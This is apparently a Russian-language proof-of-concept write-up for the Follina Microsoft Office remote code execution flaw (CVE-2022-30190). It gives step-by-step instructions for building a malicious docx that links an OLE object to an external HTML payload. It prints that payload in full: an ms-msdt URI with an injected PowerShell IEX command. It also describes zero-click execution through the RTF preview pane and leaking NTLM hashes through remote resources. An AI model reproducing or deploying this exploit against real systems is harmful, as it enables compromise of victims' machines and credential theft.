
POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina
Информация: Новый нулевой день Microsoft Office используется в атаках для выполнения PowerShell
29 мая 2022 года команда Nao_Sec, независимая группа исследователей кибербезопасности, обнаружила вредоносный документ Office, загруженный на Virustotal. Этот документ использует необычную, но известную схему для заражения жертв. Схема не была распознана как вредоносная некоторыми EDR, такими как Microsoft Defender for Endpoint. Эта уязвимость может привести к выполнению кода без необходимости взаимодействия с пользователем, так как она не включает макросы, за исключением случая, когда включен режим Protected View. Номер CVE пока не присвоен.
Уязвимость эксплуатируется с использованием схемы URI MSProtocol для загрузки некоторого кода. Злоумышленники могут встраивать вредоносные ссылки в документы Microsoft Office, шаблоны или электронные письма, начинающиеся с ms-msdt:, которые будут загружены и выполнены без участия пользователя — за исключением случая, когда включен режим Protected View. Тем не менее, преобразование документа в формат RTF также может обойти функцию Protected View.
Файлы MS Office docx могут содержать внешние ссылки на OLE-объекты в виде HTML-файлов. Существует схема HTML «ms-msdt:», которая вызывает диагностический инструмент msdt, способный выполнять произвольный код (заданный в параметрах).
Результатом является устрашающий вектор атаки для получения RCE при открытии вредоносных docx-файлов (без использования макросов).
Вот шаги для создания Proof-of-Concept docx:
Откройте Word (использовалась актуальная версия 2019 Pro, 16.0.10386.20017), создайте фиктивный документ, вставьте (OLE) объект (как растровое изображение), сохраните в формате docx.
Отредактируйте word/_rels/document.xml.rels в структуре docx (это обычный zip). Измените XML-тег <Relationship> с атрибутом
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
и Target="embeddings/oleObject1.bin", изменив значение Target и добавив атрибут TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Обратите внимание на значение Id (вероятно, это «rId5»).
word/document.xml. Найдите тег «<o:OLEObject ..>» (с r:id="rId5") и измените атрибут с Type="Embed" на Type="Link", а также добавьте атрибут UpdateMode="OnCall".ПРИМЕЧАНИЕ: Созданный вредоносный docx почти такой же, как для CVE-2021-44444.
http://<payload_server>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
Обратите внимание, что:
Кроме того, инициирующий пейлоад может обращаться к удалённым ресурсам. Хотя это вряд ли вызовет запуск недоверенного двоичного файла, соединение всё равно будет передавать NTLM-хеши (что означает, что злоумышленники получают хеш пароля Windows жертвы), которые могут быть использованы для дальнейшей пост-эксплуатации.
Если вы также добавите эти элементы под элементом <o:OLEObject> в word/document.xml на шаге 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
то это будет работать также в формате RTF (откройте полученный docx и сохраните его как RTF).
С RTF нет необходимости открывать файл в Word, достаточно просмотреть файл в панели предварительного просмотра. Панель предварительного просмотра запускает внешний HTML-пейлоад, и RCE получается без каких-либо кликов.